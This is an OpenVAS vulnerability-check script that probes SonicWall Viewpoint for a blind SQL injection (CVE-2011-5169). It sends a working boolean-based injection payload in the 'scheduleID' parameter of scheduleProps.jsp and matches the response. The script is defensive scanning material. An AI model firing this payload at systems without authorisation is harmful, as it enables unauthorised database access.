SonicWall Viewpoint 'scheduleID' Parameter SQL Injection Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sonicwall_viewpoint_scheduleid_sql_inj_vuln.nasl 5988 2017-04-20 09:02:29Z teissa $
#
# SonicWall Viewpoint 'scheduleID' Parameter SQL Injection Vulnerability
#
# Authors:
# Rachana Shetty <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will let attackers to manipulate SQL queries by
  injecting arbitrary SQL code.
  Impact Level: Application";
tag_affected = "SonicWALL Viewpoint 6.0 SP2 and prior versions";
tag_insight = "Input passed to 'scheduleID' parameter in
  'sgms/reports/scheduledreports/configure/scheduleProps.jsp' page is not
  properly verified before being used in SQL queries.";
tag_solution = "Apply SonicWALL Viewpoint hotfix 104767 from below link,
  For updates refer to https://www.mysonicwall.com/";
tag_summary = "This host is running SonicWall Viewpoint and is prone to sql
  injection vulnerability.";

if(description)
{
  script_id(803033);
  script_version("$Revision: 5988 $");
  script_cve_id("CVE-2011-5169");
  script_bugtraq_id(49906);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-20 11:02:29 +0200 (Thu, 20 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-09-25 15:47:29 +0530 (Tue, 25 Sep 2012)");
  script_name("SonicWall Viewpoint 'scheduleID' Parameter SQL Injection Vulnerability");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_require_ports("Services/www", 80);
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_xref(name : "URL" , value : "http://secunia.com/advisories/46115");
  script_xref(name : "URL" , value : "http://seclists.org/bugtraq/2011/Oct/5");
  script_xref(name : "URL" , value : "http://www.sonicwall.com/app/projects/file_downloader/document_lib.php?t=RN&id=379");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/105493/SonicWall-Viewpoint-6.0-SP2-Blind-SQL-Injection.html");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");

## Variable Initialization
port =0;
req1 = "";
req2 = "";
sndReq = "";
rcvRes = "";

## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

## Get request
sndReq = http_get(item:"/sgms/login", port:port);
rcvRes = http_send_recv(port:port, data:sndReq);

## Confirm the application
if(rcvRes && rcvRes =~ "HTTP/1.. 200" &&
   (">SonicWALL ViewPoint Login" >< rcvRes ||
    ">SonicWALL GMS Login" >< rcvRes))
{
  ## Construct the request
  url = "/sgms/reports/scheduledreports/configure/scheduleProps.jsp?" +
        "scheduleID=3%20order%20by%201,%20(%20select%20case%20when%20" +
        "(1=1)%20%20then%201%20else%201*(select%20table_name%20from%" +
        "20information_schema.tables)end)=1";

  if(http_vuln_check(port:port, url:url, check_header: TRUE,
     pattern:"List of Reports",
     extra_check: make_list('Schedule Properties', '>Close<', 'EMPTY_HEADER')))
  {
    security_message(port);
    exit(0);
  }
}